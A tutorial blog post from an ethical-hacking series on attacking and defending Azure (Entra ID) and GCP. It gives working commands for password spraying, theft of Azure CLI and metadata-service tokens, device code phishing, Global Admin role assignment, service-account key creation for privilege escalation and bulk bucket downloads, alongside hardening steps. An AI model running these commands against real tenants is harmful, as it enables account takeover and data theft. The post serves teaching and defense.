Learn Ethical Hacking (#36) - Cloud Security - Azure and GCP

avatar

Learn Ethical Hacking (#36) - Cloud Security - Azure and GCP

leh-banner.jpg

What will I learn

  • Azure AD (Entra ID) attacks -- tenant enumeration, password spraying, token theft, and the differences from on-prem AD;
  • Azure resource attacks -- Storage Account misconfigurations, Managed Identity abuse, and Key Vault extraction;
  • GCP IAM model -- service accounts, workload identity, and privilege escalation through role bindings;
  • GCP-specific attacks -- public Cloud Storage buckets, metadata server abuse, and Cloud Functions exploitation;
  • Cross-cloud enumeration -- tools that work across AWS, Azure, and GCP;
  • OAuth and token attacks -- stealing and replaying access tokens across cloud platforms;
  • Defense: Conditional Access, Privileged Identity Management, VPC Service Controls, Organization Policies.

Requirements

  • A working modern computer running macOS, Windows or Ubuntu;
  • Understanding of cloud security fundamentals from Episode 35;
  • Optional: Azure free account and/or GCP free tier for lab exercises;
  • The ambition to learn ethical hacking and security research.

Difficulty

  • Intermediate

Curriculum (of the Learn Ethical Hacking series):

Solutions to Episode 35 Exercises

Exercise 1: Attacking your own vulnerable AWS lab.

# Step 1: Find the public S3 bucket
aws s3 ls s3://my-vulnerable-lab-bucket --no-sign-request
aws s3 cp s3://my-vulnerable-lab-bucket/secrets.txt ./secrets.txt --no-sign-request
# Contents: database connection string with plaintext credentials

# Step 2: SSRF to steal EC2 credentials via metadata (IMDSv1)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns: LabEC2Role
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/LabEC2Role
# Returns: AccessKeyId, SecretAccessKey, Token

# Step 3: Use stolen credentials
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
aws s3 ls  # Full S3 access via the EC2 role

# Step 4: Extract Lambda secrets
aws lambda get-function-configuration --function-name my-function
# Environment.Variables contains DB_PASSWORD, API_KEY

# Fixes applied:
# - S3 Block Public Access enabled account-wide
# - IMDSv2 enforced (--http-tokens required)
# - Lambda secrets moved to Secrets Manager

The full attack chain demonstrates why cloud misconfigurations are so dangerous -- each vulnerability feeds into the next. The public bucket gave us initial information. SSRF against the metadata endpoint (IMDSv1, no token required) gave us IAM credentials. Those credentials let us access the Lambda configuration and extract hardcoded secrets. And fixing each layer independently is critical because defense-in-depth means no single fix should be your only protection.

Exercise 2: enumerate-iam analysis.

API calls made: ~2,400 (tests every AWS service endpoint)
Permissions discovered: s3:ListBuckets, s3:GetObject, ec2:DescribeInstances,
  lambda:ListFunctions, lambda:GetFunction, iam:ListUsers
Duration: ~4 minutes
CloudTrail events: ~2,400 entries (each API call logged)
GuardDuty findings: Recon:IAMUser/MaliciousIPCaller (if from known bad IP),
  Discovery:S3/MaliciousIPCaller

SOC visibility: VERY HIGH. 2,400 API calls from a single set of credentials
in 4 minutes is extremely anomalous. Any decent SIEM would alert on this.

The takeaway here is that enumerate-iam is a lab tool, not a stealth tool. In production environments with GuardDuty and a functional SOC, 2,400 API calls in 4 minutes from a single credential set is essentially shouting "I am an attacker." It has its place in authorized pentests where detection is not a concern, but for red team operations against monitored environments, you need to be far more selective about which API calls you make.

Exercise 3: Capital One breach analysis.

Initial access: SSRF through misconfigured ModSecurity WAF on EC2
Credential theft: GET http://169.254.169.254/.../WAF-Role (IMDSv1)
Data exfiltration: IAM role had s3:GetObject + s3:ListBucket on
  700+ buckets containing 100M+ credit applications

Prevention at each step:
- SSRF: WAF rules blocking 169.254.169.254, or IMDSv2
- Credentials: IMDSv2 (requires PUT + token, blocks GET-only SSRF)
- Data: least-privilege IAM (WAF role should not access S3 data)
- Exfil: S3 Block Public Access + VPC endpoints with policies

This breach is the canonical cloud security case study because it chains three vulnerabilities that are all individually preventable: SSRF in the application layer, IMDSv1 accepting simple GET requests, and an overpermissive IAM role that gave a WAF access to customer data buckets. Any ONE of the four prevention controls would have broken the chain. That's the fundamental lesson of defense-in-depth -- the attacker needs every link in the chain to work, the defender only needs to break one.


Learn Ethical Hacking (#36) - Cloud Security - Azure and GCP

Episode 35 covered AWS in depth -- IAM privilege escalation, public S3 buckets, the EC2 metadata service, Lambda secrets, and CloudTrail evasion. You can now enumerate an AWS environment with ScoutSuite and Prowler, exploit overly permissive IAM policies with Pacu, steal credentials via SSRF against the metadata endpoint, and understand why the Capital One breach was both devastating and entirely preventable.

But AWS is only one third of the cloud market. And in the real world, most enterprises do not pick just one. They run Azure because their organization is already deep in the Microsoft ecosystem -- Exchange, SharePoint, Teams, Active Directory. They run GCP because the data science team wants BigQuery and Vertex AI. They run AWS because the original infrastructure team chose it five years ago and migration is expensive. The result is a multi-cloud mess where each platform has its own identity model, its own permission system, its own misconfigurations, and (critically) its own tools for both attack and defense.

The attack methodology stays the same -- enumerate, find misconfigurations, escalate, access data. But the specifics are genuinely different, and the mistakes organizations make on Azure and GCP are NOT the same mistakes they make on AWS.

Here we go.

Azure -- Where Identity Is Everything

If AWS is fundamentally about IAM policies attached to resources, Azure is fundamentally about identity. Everything in Azure revolves around Azure Active Directory (recently renamed to Entra ID because apparently Microsoft cannot stop renaming things). Azure AD is not just an access control system for cloud resources -- it is a full identity provider that handles authentication for Azure infrastructure, Microsoft 365 (Exchange, SharePoint, Teams, OneDrive), and thousands of third-party SaaS applications that federate through it.

This has a massive security implication: compromising a single Azure AD account often gives you access to far more than just cloud infrastructure. That developer's account doesn't just have access to Azure VMs and storage. It also has access to their mailbox, their Teams chats, their SharePoint documents, their OneDrive files, and potentially dozens of SaaS apps that use Azure AD for single sign-on. The blast radius of a single compromised credential in Azure is frequently larger than in AWS, precisely because Azure AD is the identity backbone for the entire Microsoft ecosystem.

Having said that, this integration also means Azure has more sophisticated identity protection mechanisms than AWS -- Conditional Access, Privileged Identity Management, risk-based authentication. The question is whether organizations actually enable them.

(Spoiler: many don't.)

Azure AD Enumeration

Azure AD enumeration starts with something that requires zero authentication -- checking whether a tenant exists:

# Enumerate tenant existence (no auth required)
# Azure publishes OpenID configuration for every valid tenant
curl https://login.microsoftonline.com/targetcompany.com/.well-known/openid-configuration
# If valid tenant: returns JSON with authorization_endpoint, token_endpoint, etc.
# If not: returns error

# Get tenant ID from the response
# The authorization_endpoint URL contains the tenant GUID:
# https://login.microsoftonline.com/TENANT-GUID-HERE/oauth2/v2.0/authorize

# Check user existence via login page behavior
# https://login.microsoftonline.com/common/GetCredentialType
# POST with {"username":"[email protected]"}
# Response differs for existing vs non-existing users

This is the Azure equivalent of DNS zone transfers from episode 4 -- public information that tells you whether a target exists and gives you starting points for further enumeration. The OpenID configuration endpoint is by design public, because federated authentication requires clients to discover the identity provider's endpoints. Microsoft cannot disable this without breaking SSO for every Azure AD tenant on the planet.

From there, you move to user enumeration:

# AADInternals (PowerShell -- comprehensive Azure AD toolkit)
Import-Module AADInternals
Get-AADIntTenantDetails -Domain targetcompany.com
# Returns: tenant name, ID, federation config, DNS records

Get-AADIntLoginInformation -UserName [email protected]
# Returns: whether the account exists, what auth method it uses
# (managed = cloud password, federated = ADFS redirect)

# o365creeper -- lightweight Python user enumeration
python3 o365creeper.py -f emails.txt -o valid_users.txt
# Tests each email against the GetCredentialType endpoint

The user enumeration via GetCredentialType is particualrly sneaky because it generates minimal logging. Unlike a full login attempt (which creates a sign-in log entry regardless of success), the credential type check is a pre-authentication step that many tenants do not log at all. You can enumerate thousands of email addresses without generating a single failed login event.

Password Spraying Azure AD

Azure AD is the most password-sprayed service on the internet, and for good reason. Organizations migrate their on-prem Active Directory to Azure AD, bringing all those password policies (or lack thereof) with them. Users who had Winter2025! as their AD password still have Winter2025! as their Azure AD password -- and now that password is accessible from anywhere on the internet instead of only from the corporate network.

# MSOLSpray (Python)
python3 MSOLSpray.py \
    --userlist valid_emails.txt \
    --password "Spring2026!" \
    --url https://login.microsoft.com

# Spray (Go, faster and more configurable)
spray -type o365 -u userlist.txt -p "Company2026!"

# Smart spraying: respect lockout policies
# Azure AD default smart lockout:
# - 10 failed attempts from familiar locations
# - Lower threshold from unfamiliar locations
# - Lockout duration: 60 seconds (increases with repeated lockouts)
#
# Strategy: spray ONE password, wait 65 seconds, spray the next
# Testing 5 passwords against 1000 users = ~5.5 minutes total

The success rate of password spraying is uncomfortably high. In most authorized engagements, 1-5% of accounts fall to a single spray with seasonal-year patterns (Winter2026!, Summer2025!, Company2026!). One valid account is all you need to start the next phase -- because once you have any authenticated session in Azure AD, you can enumerate the ENTIRE tenant: all users, all groups, all applications, all service principals. Azure AD, unlike on-prem AD, does not restrict directory read access by default. Every authenticated user can read the full directory.

I've seen this in practice more times than I can count. The hardest part of an Azure engagement is almost never "can we get in." It's "how much can we get to once we're in." And the answer is usually "everything" ;-)

Token Theft and Replay

Azure uses OAuth 2.0 tokens for all authentication. When you log into Azure or Microsoft 365, you receive an access token (short-lived, typically 60-90 minutes) and a refresh token (long-lived, up to 90 days). If you can steal either token, you can impersonate the user without knowing their password -- and the access token bypass MFA entirely because MFA was already satisfied when the token was issued.

# Tokens live in several places:
# Browser: localStorage, sessionStorage, cookies
# Azure CLI: ~/.azure/msal_token_cache.json
# PowerShell: TokenCache.dat
# AzureRm module: ~/.Azure/AzureRmContext.json
# Device code flow tokens: cached in memory

# Steal Azure CLI tokens from a compromised machine
cat ~/.azure/msal_token_cache.json
# Contains access tokens AND refresh tokens
# Refresh tokens can generate new access tokens for up to 90 days

# ROADtools -- Azure AD reconnaissance with a stolen token
pip install roadtools
roadrecon auth --access-token "eyJ0eXAi..."
roadrecon gather
roadrecon gui
# Opens a web interface showing the ENTIRE Azure AD tenant:
# all users, groups, applications, service principals, roles

# AzureHound -- BloodHound for Azure
# Maps attack paths through Azure AD just like SharpHound does for on-prem
azurehound -j output.json list --tenant "targetcompany.com" -a "eyJ0eXAi..."
# Import into BloodHound for visual attack path analysis

The connection to episode 33 (Active Directory) is direct here. AzureHound is the Azure companion to SharpHound -- where SharpHound maps on-prem AD relationships (group memberships, sessions, ACLs), AzureHound maps Azure AD relationships (role assignments, application permissions, service principal ownerships). When you import both datasets into BloodHound, you get a unified graph that shows attack paths ACROSS the hybrid boundary -- from on-prem AD through Azure AD Connect to cloud resources. Those hybrid paths are some of the most dangerous because the on-prem team and the cloud team often don't realize they exist.

Device Code Phishing

One of the nastier Azure-specific attacks is device code phishing. Azure supports a "device code flow" for devices that don't have a browser (think IoT devices, TVs, CLI tools). The flow works like this: the device requests a code from Azure AD, displays it to the user, and tells them to visit https://microsoft.com/devicelogin and enter the code. The user authenticates in their browser, and the device receives the tokens.

# Attacker generates a device code
# POST to https://login.microsoftonline.com/common/oauth2/v2.0/devicecode
# Body: client_id=CLIENT_ID&scope=.default offline_access

# Response:
# {
#   "user_code": "CBFG9HXQM",
#   "device_code": "GAB...",
#   "verification_uri": "https://microsoft.com/devicelogin",
#   "message": "To sign in, use a web browser to open
#    the page https://microsoft.com/devicelogin
#    and enter the code CBFG9HXQM to authenticate."
# }

# Send this to the target via email/Teams/phishing:
# "Please sign in to verify your account:
#  Go to https://microsoft.com/devicelogin
#  Enter code: CBFG9HXQM"

# The user goes to the REAL Microsoft login page
# Enters the REAL code
# Authenticates with their REAL credentials + MFA
# The attacker's polling loop receives the tokens

# Poll for completion
# POST to https://login.microsoftonline.com/common/oauth2/v2.0/token
# Body: grant_type=urn:ietf:params:oauth:grant-type:device_code&
#        device_code=GAB...&client_id=CLIENT_ID

The beauty (from the attacker's perspetive) of this attack: the user is going to a LEGITIMATE Microsoft URL, entering a REAL code, and authenticating with their actual credentials. There is nothing fake. No phishing page. No look-alike domain. No SSL certificate warnings. The authentication is completely real -- the user just doesn't realize they're authenticating the attacker's session instead of their own. And because they complete MFA as part of the flow, the tokens the attacker receives are fully MFA-authenticated.

This is the social engineering of episode 8 meets the OAuth token mechanics of cloud platforms. Traditional phishing tries to steal credentials by tricking users into entering them on a fake page. Device code phishing tricks users into completing a legitimate authentication flow on the real platform, and the credentials (tokens) flow to the attacker instead.

Azure Storage Account Misconfiguration

Azure Blob Storage is the equivalent of S3 -- and just as frequently misconfigured. Azure uses the concept of Storage Accounts (which contain one or more Containers, which contain Blobs):

# Azure Blob URL format:
# https://ACCOUNT.blob.core.windows.net/CONTAINER/BLOB

# Check for anonymous access to a container
curl "https://targetcompany.blob.core.windows.net/backups?restype=container&comp=list"
# If anonymous access is enabled: returns XML listing all blobs
# If not: returns AuthorizationFailure

# Common storage account naming patterns to try:
# targetcompanybackup, targetcompanylogs, targetcompanydata,
# targetcompanydev, targetcompanystaging, targetcompanyassets

# Download specific blobs
curl -o dump.sql "https://targetcompany.blob.core.windows.net/backups/db-dump-2026.sql"

# MicroBurst -- Azure-specific enumeration toolkit
Import-Module MicroBurst
Invoke-EnumerateAzureBlobs -Base targetcompany
# Tries common name patterns against Azure blob endpoints
# Reports publicly accessible containers and their contents

The difference from AWS: Azure Storage Accounts have MULTIPLE authentication layers that interact in confusing ways. There are Shared Access Signatures (SAS tokens -- URL-based tokens with specific permissions and expiry), storage account keys (two full-access keys per account, functionally equivalent to root), Azure AD RBAC (role-based access through identity), and anonymous access (publicly readable containers). The interaction between these is complex enough that misconfiguration is more the norm than the exception.

SAS tokens deserve special attention because they are the source of quit some breaches. A SAS token is a URL parameter string that grants access to specific resources for a specific time period. Developers share them for convenience -- "here's a link to the file" -- and forget that the token might have broader permissions than intended, or an expiry date of 2099:

# A SAS token URL looks like this:
# https://account.blob.core.windows.net/container/file.txt
#   ?sv=2021-06-08
#   &ss=bfqt        # services: blob, file, queue, table (ALL of them)
#   &srt=sco        # resource types: service, container, object (ALL)
#   &sp=rwdlacup    # permissions: read, write, delete, list, add,
#                   #   create, update, process (ALL of them)
#   &se=2099-12-31  # expiry: effectively never
#   &sig=BASE64...  # signature

# This SAS token gives FULL access to the ENTIRE storage account
# until the year 2099. Whoever has this URL has root-equivalent
# access to all data in the account.

# If you find a SAS token in source code, config files, or chat logs:
# Try broadening the resource scope (change container name, add /*)
# Check if the token works on other containers in the same account

Microsoft's own security team has accidentally leaked SAS tokens. In 2023, Microsoft AI researchers shared a SAS token on GitHub that gave read/write access to 38TB of internal data including Teams messages and Azure credentials. The token was embedded in a URL, committed to a public repository, and nobody noticed for months. This is not a theoretical risk -- it happens to the company that MAKES Azure.

Managed Identity Abuse

Managed Identities are Azure's equivalent of AWS IAM roles for compute resources. Instead of hardcoding credentials in your application, you assign a Managed Identity to your VM, App Service, or Function, and it automatically gets tokens from the Azure Instance Metadata Service (IMDS):

# Azure IMDS -- same IP as AWS (169.254.169.254), different headers
# Azure requires the Metadata:true header (analogous to GCP's Metadata-Flavor)
curl -H "Metadata:true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Returns an access token for Azure Resource Manager
# This token can manage Azure resources (VMs, storage, networking, etc.)

# Use the stolen token to enumerate subscriptions
curl -H "Authorization: Bearer TOKEN" \
    "https://management.azure.com/subscriptions?api-version=2020-01-01"

# List all resource groups
curl -H "Authorization: Bearer TOKEN" \
    "https://management.azure.com/subscriptions/SUB_ID/resourceGroups?api-version=2021-04-01"

# Access Key Vault secrets (if the Managed Identity has access)
# First get a token scoped to Key Vault
curl -H "Metadata:true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"

# Then list and read secrets
curl -H "Authorization: Bearer VAULT_TOKEN" \
    "https://myvault.vault.azure.net/secrets?api-version=7.4"
curl -H "Authorization: Bearer VAULT_TOKEN" \
    "https://myvault.vault.azure.net/secrets/admin-password/latest?api-version=7.4"

The SSRF connection from episode 18 and the AWS metadata discussion from episode 35 apply directly here. If you find an SSRF vulnerability in an Azure web application running on a VM or App Service with a Managed Identity, you can reach the IMDS at 169.254.169.254 and steal the identity's token. Azure requires the Metadata:true header, which provides SOME protection -- a basic GET-only SSRF won't work. But if the SSRF allows setting custom headers (and many do, especially in applications that make HTTP requests with user-controlled headers), the metadata is fully accessible.

The Key Vault angle is particularly dangerous. Organizations move their secrets to Key Vault specifically because it's "more secure than environment variables." But if the VM's Managed Identity has read access to Key Vault (which it needs to retrieve those secrets at runtime), then compromising the VM gives you the same secrets you were trying to protect. The security improvement is real -- Key Vault provides audit logging, rotation, and access control that environment variables don't -- but it's not a silver bullet if the access policies are too broad.

Azure AD Privilege Escalation

Azure AD has its own set of escalation paths, distinct from AWS but conceptually similar. The key difference: Azure escalation often goes through application permissions and service principals rather than through direct IAM policy manipulation:

# Azure AD roles that enable privilege escalation:

# 1. Application Administrator
# Can modify ANY application registration + service principal
# Attack: add credentials to a high-privilege app, authenticate as it
az ad app credential reset --id APP_ID --append
# Now you have client credentials for that application

# 2. User Administrator
# Can reset passwords for non-admin users
# But ALSO for Helpdesk Admins, Authentication Admins, etc.
az ad user update --id [email protected] \
    --password "NewPassword123!"

# 3. Privileged Role Administrator
# Can assign ANY Azure AD role to ANY user -- including Global Admin
az rest --method POST \
    --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
    --body '{"principalId":"ATTACKER_ID","roleDefinitionId":"GLOBAL_ADMIN_ROLE_ID","directoryScopeId":"/"}'

# 4. Consent grant attacks
# If user consent is allowed, trick a user into granting
# an attacker-controlled app access to their data
# The app requests: Mail.Read, Files.ReadWrite.All, User.Read.All
# User clicks "Accept" thinking it's a legitimate app
# Attacker now has full access to their mail, files, and directory

The consent grant attack deserves its own mention because it is disturbingly effective. An attacker creates a malicious Azure AD application, makes it look legitimate ("IT Department Security Scan", "Microsoft Teams Update"), and sends users a link that requests broad permissions. If the organization allows user consent (the default in many tenants), the user can grant the application access to their mail, files, calendar, and contacts without any administrator approval. The application then has persistent access to that user's data through an OAuth token that survives password changes.

This is episode 8 (social engineering) combined with cloud identity. Instead of tricking users into revealing their password, you trick them into clicking "Accept" on an OAuth consent screen. The result is the same -- full access to their account -- but the mechanism is harder to detect and harder to revoke because the access is through an application permission, not a compromised password.

GCP -- The Service Account Problem

Google Cloud Platform takes a different approach to identity. Where AWS has IAM users and roles, and Azure has Azure AD with its rich identity model, GCP uses Google accounts for humans and service accounts for applications. The security of GCP environments depends almost entirely on how well organizations manage their service accounts -- and the answer is usually "not well."

The fundamental problem: GCP service accounts can have keys -- JSON files that contain long-lived credentials. These keys never expire (unless manually rotated or deleted), they can be used from anywhere on the internet, and once leaked, they provide persistent access until someone discovers and revokes them. Service account key sprawl is to GCP what overpermissive IAM policies are to AWS: the single most common root cause of breaches.

# The service account key file looks like this:
# {
#   "type": "service_account",
#   "project_id": "target-project",
#   "private_key_id": "key123...",
#   "private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvg...\n",
#   "client_email": "[email protected]",
#   "client_id": "1234567890"
# }

# Where these keys get leaked:
# - Git repositories (committed accidentally)
# - CI/CD pipeline configs (Jenkins, GitHub Actions)
# - Docker images (baked into the container)
# - Developer laptops (~/Downloads/key.json)
# - Shared drives and wikis ("here's the service account for prod")
# - Stack Overflow answers ("I used this config file:")

GCP Metadata Server

Same concept as AWS and Azure -- every GCP VM has access to a metadata server at 169.254.169.254. GCP requires the Metadata-Flavor: Google header, which provides the same level of SSRF protection as Azure's Metadata:true header -- blocks simple GET-only SSRF but falls to any SSRF that allows custom headers:

# Get the default service account's access token
curl -H "Metadata-Flavor: Google" \
    "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Returns: {"access_token":"ya29.c...","expires_in":3600,"token_type":"Bearer"}

# Get project information
curl -H "Metadata-Flavor: Google" \
    "http://metadata.google.internal/computeMetadata/v1/project/project-id"

# Get the service account email (tells you which SA is attached)
curl -H "Metadata-Flavor: Google" \
    "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"

# List all available scopes (what the token can access)
curl -H "Metadata-Flavor: Google" \
    "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes"

# Get instance attributes (sometimes contain secrets)
curl -H "Metadata-Flavor: Google" \
    "http://metadata.google.internal/computeMetadata/v1/instance/attributes/"

# Get SSH keys (if OS Login is not enabled)
curl -H "Metadata-Flavor: Google" \
    "http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys"
# Returns ALL SSH public keys for the project -- add your own key
# to get SSH access to every VM in the project

That last one -- the SSH keys endpoint -- is a GCP-specific attack vector that does not exist in AWS or Azure. GCP allows SSH keys to be set at the project level (applying to ALL VMs in the project) or the instance level. If the compromised service account has compute.projects.setCommonInstanceMetadata, you can add your own SSH key and immediately SSH into every VM in the project. That is one API call from "I have a token" to "I have root on every machine" ;-)

GCP IAM Privilege Escalation

GCP IAM has a different escalation model than AWS. Where AWS escalation often chains policy manipulation permissions, GCP escalation frequently exploits the iam.serviceAccountKeys.create permission and the iam.serviceAccounts.actAs permission:

# Path 1: Create a key for a high-privilege service account
# If you have iam.serviceAccountKeys.create on a target SA:
gcloud iam service-accounts keys create pwned-key.json \
    [email protected]
# You now have permanent credentials for that service account
# These credentials NEVER EXPIRE unless someone deletes them

# Path 2: Launch a VM with a high-privilege service account
# Requires: compute.instances.create + iam.serviceAccounts.actAs
gcloud compute instances create attacker-vm \
    [email protected] \
    --scopes=cloud-platform \
    --zone=us-central1-a
# SSH to the VM, curl the metadata endpoint, get the admin token

# Path 3: Deploy a Cloud Function with a powerful service account
# Requires: cloudfunctions.functions.create + iam.serviceAccounts.actAs
gcloud functions deploy pwned-function --runtime python39 \
    [email protected] \
    --trigger-http --source ./exfil_function/
# The function runs with admin-sa's permissions

# Path 4: Impersonate a service account directly
# Requires: iam.serviceAccounts.getAccessToken
gcloud auth print-access-token \
    --impersonate-service-account=admin-sa@project.iam.gserviceaccount.com
# Direct impersonation -- no VM, no function, just a token

# Enumerate what you CAN do with current permissions
# https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation
python3 enumerate_member_permissions.py

The iam.serviceAccounts.actAs permission in GCP is equivalent to iam:PassRole in AWS (episode 35). On its own it looks harmless -- "allow this identity to act as a service account." But combined with the ability to create compute resources (VMs, Cloud Functions, Cloud Run services), it becomes a privilege escalation vector because you can attach a high-privilege service account to a resource you control and then steal its credentials. The permission name sounds innocent. The impact is catastrophic.

Public Cloud Storage Buckets

GCP Cloud Storage uses a global namespace (like S3) where bucket names must be unique across ALL of GCP. This makes enumeration straightforward:

# Check for public access
curl "https://storage.googleapis.com/target-company-backup"
# 200 = public listing enabled
# 403 = exists but not public
# 404 = doesn't exist

# gsutil -- Google Cloud SDK
gsutil ls gs://target-company-backup
gsutil cp gs://target-company-backup/credentials.json ./loot/
gsutil -m cp -r gs://target-company-backup/ ./loot/  # recursive download

# GCPBucketBrute -- automated enumeration
python3 gcpbucketbrute.py -k target-company -w wordlist.txt

# Common GCP bucket naming patterns:
# {company}-backup, {company}-logs, {company}-data
# {company}-{project}-assets, staging-{company}, dev-{company}
# {company}-ml-data, {company}-terraform-state

The Terraform state file pattern deserves special attention. Many organizations store their Terraform state in a GCP bucket (or S3 bucket, or Azure blob container). The state file contains the complete configuration of their infrastructure -- including secrets, database passwords, API keys, and every resource ID in the project. Finding a public Terraform state file is like finding the blueprints to the entire building, including the location of every safe and the combination to open them.

Cross-Cloud Enumeration Tools

When you're assessing a multi-cloud environment, you need tools that work across providers:

# ScoutSuite -- the Swiss Army knife of cloud security auditing
# Works across AWS, Azure, GCP, Alibaba Cloud, and Oracle Cloud
python3 scout.py azure --cli
python3 scout.py gcp --service-account key.json
python3 scout.py aws --profile target
# Generates an HTML report with hundreds of security checks
# categorized by severity (danger, warning, info)

# Prowler -- CIS benchmark compliance across AWS and Azure
prowler azure
prowler aws

# CloudFox -- enumerate attack paths
cloudfox azure all-checks
cloudfox aws all-checks --profile target

# Cartography -- graph-based infrastructure mapping
# Creates a Neo4j graph of cloud resources and relationships
# Supports AWS, GCP, Azure, and Okta
cartography --neo4j-uri bolt://localhost:7687 \
    --aws-profile target
# Then query Neo4j:
# MATCH (s:S3Bucket {anonymous_access: true}) RETURN s
# MATCH (sa:GCPServiceAccount)-[:HAS_KEY]->(k:GCPServiceAccountKey)
#   WHERE k.valid_after < datetime() - duration({days: 90}) RETURN sa, k

Cartography is particularly powerful for multi-cloud environments because it maps relationships ACROSS cloud boundaries. An AWS IAM role that trusts a GCP service account, an Azure AD application that accesses AWS resources through OIDC federation, a Kubernetes cluster in GCP that authenticates against Azure AD -- these cross-cloud trust relationships are where the most dangerous misconfigrations hide, because no single cloud's native security tools can see them.

Defense: Securing Azure

Azure defense centers on three pillars -- Conditional Access, Privileged Identity Management, and continuous monitoring:

# 1. Conditional Access Policies (MANDATORY)
# Block legacy authentication protocols (IMAP, SMTP, POP3)
# These don't support MFA and are the #1 password spray target
# Azure Portal > Entra ID > Security > Conditional Access
# New policy: Block access when Client apps = "Other clients"

# 2. Require MFA for ALL users, no exceptions
# Legacy "per-user MFA" is being deprecated
# Use Conditional Access: Grant access = Require MFA

# 3. Block sign-ins from risky locations
# Conditional Access: Conditions > Locations > Named locations
# Block countries your organization has no business in

# 4. Privileged Identity Management (PIM)
# Just-in-time admin access: roles are inactive by default
# Admin must "activate" a role for a limited time (e.g. 8 hours)
# Require approval workflow for sensitive roles (Global Admin)
# Result: standing admin access approaches zero

# 5. Disable user consent for applications
# Azure Portal > Entra ID > Enterprise Apps > Consent and permissions
# "Users can consent to apps" = No
# All app consent requires admin approval
# Prevents: OAuth consent grant attacks entirely

# 6. Disable Storage Account anonymous access (account-wide)
az storage account update --name myaccount \
    --allow-blob-public-access false

# 7. Enable Microsoft Defender for Cloud
# Continuous security assessment across all Azure resources
# Built-in threat detection for VMs, storage, databases, containers

# 8. Enable Azure Sentinel (SIEM)
# Centralized logging, threat detection, automated response
# Ingest: Azure AD sign-in logs, activity logs, Office 365 logs

The Conditional Access + PIM combination is Azure's strongest defensive feature and something neither AWS nor GCP has an exact equivalent of. Conditional Access says "you can only authenticate from trusted devices, trusted locations, with MFA." PIM says "even after you authenticate, you don't HAVE admin privileges until you explicitly activate them, and they automatically deactivate after N hours." Together they make the window of opportunity for an attacker extremely narrow -- even if you steal a token, it might not have any admin roles activated, and activating them requires approval.

Defense: Securing GCP

GCP defense centers on eliminating service account keys and using Organization Policies to enforce security guardrails:

# 1. Organization Policies -- guardrails that apply to the entire org
# Disable service account key creation (the #1 GCP breach vector)
gcloud resource-manager org-policies enable-enforce \
    constraints/iam.disableServiceAccountKeyCreation \
    --organization=ORG_ID

# Enforce uniform bucket-level access (prevents ACL confusion)
gcloud resource-manager org-policies enable-enforce \
    constraints/storage.uniformBucketLevelAccess \
    --organization=ORG_ID

# Require Shielded VMs (prevents boot-level attacks)
gcloud resource-manager org-policies enable-enforce \
    constraints/compute.requireShieldedVm \
    --organization=ORG_ID

# 2. Workload Identity Federation
# Replace long-lived service account keys with short-lived tokens
# External workloads (GitHub Actions, AWS services, on-prem apps)
# authenticate via OIDC and receive temporary GCP credentials
# No keys to leak, no keys to rotate, no keys to manage

# 3. VPC Service Controls
# Create security perimeters around sensitive APIs
# Even with valid credentials, data cannot leave the perimeter
# Prevents: data exfiltration via stolen service account tokens
gcloud access-context-manager perimeters create prod-perimeter \
    --title="Production Data" \
    --resources="projects/12345" \
    --restricted-services="storage.googleapis.com,bigquery.googleapis.com"

# 4. Enable Security Command Center (SCC)
# GCP's native security monitoring
# Detects: public buckets, overprivileged service accounts,
#   crypto-mining, anomalous IAM activity

# 5. Enable Data Access Audit Logs
# By default GCP only logs admin activity (config changes)
# Data Access logs capture who READ what data (storage, BigQuery, etc.)
# Essential for incident response and breach detection

The constraints/iam.disableServiceAccountKeyCreation Organization Policy is the single most impactful GCP security control. If you can't create service account keys, you can't leak them. Workload Identity Federation provides the alternative -- external workloads authenticate via short-lived OIDC tokens instead of long-lived key files. No keys means no key sprawl, no key rotation failures, and no "found a key.json in the public repo" incidents.

The AI Slop Connection

Multi-cloud environments compound the AI configuration problem we discussed in episode 35. AI code assistants generate Azure ARM templates with "publicAccess": "Blob" on Storage Accounts, GCP Terraform with uniform_bucket_level_access = false, and IAM bindings with roles/owner at the project level. The pattern is consistent across every cloud: the AI picks the simplest configuration that works, and the simplest configuration is almost always the most permissive one.

The worst pattern across clouds: service account keys in source code. AI assistants suggest creating a GCP service account key and hardcoding the JSON path in application code because it is the simplest way to authenticate. The secure alternative (Workload Identity Federation or Workload Identity for GKE) requires understanding federation, OIDC, and audience configuration -- concepts the AI either doesn't explain well or simplifies into insecure shortcuts. The result is production applications running with permanent, unrotated, overprivileged service account keys committed to git repositories. Every single element of that sentence is a security failure, and AI assistants actively encourage every single one.

Azure has its own variant: AI tools suggest storing client secrets in application settings, generating SAS tokens with full permissions and no expiry, and granting Contributor role at the subscription level because "the function needs to access resources." The AI optimization function is: minimize the number of API calls and configuration steps required to make the code run. The security optimization function is: minimize the blast radius of every credential. These two objectives are directly opposed, and the AI always picks the first one.

The Bigger Picture

With episodes 35 and 36 complete, you now have a comprehensive view of cloud security across all three major providers. The concepts are universal -- shared responsibility, identity-based attacks, storage misconfigurations, metadata services, privilege escalation through role chaining. But the implementations differ enough that you need provider-specific knowledge and tools.

The most dangerous environments are the ones that span multiple clouds AND on-premises infrastructure. Azure AD Connect syncing on-prem AD to Azure AD (episode 33 meets episode 36). AWS accounts accessed via Azure AD federation. GCP workloads authenticating against on-prem LDAP. Each connection point is a potential attack path that crosses security domain boundaries, and no single team typically owns the entire chain. The AD team manages on-prem. The cloud team manages Azure. The data team manages GCP. And the attack path goes through all three.

Next we'll move from cloud infrastructure into containerized environments -- Docker and Kubernetes have their own unique security models, and they're often the actual workloads running inside these cloud platforms. When an organization says "we're on AWS," what they often mean is "we're running Kubernetes on EKS," and Kubernetes adds another layer of identity, networking, and access control on top of the cloud provider's model. More layers, more complexity, more misconfigurations to find.

Exercises

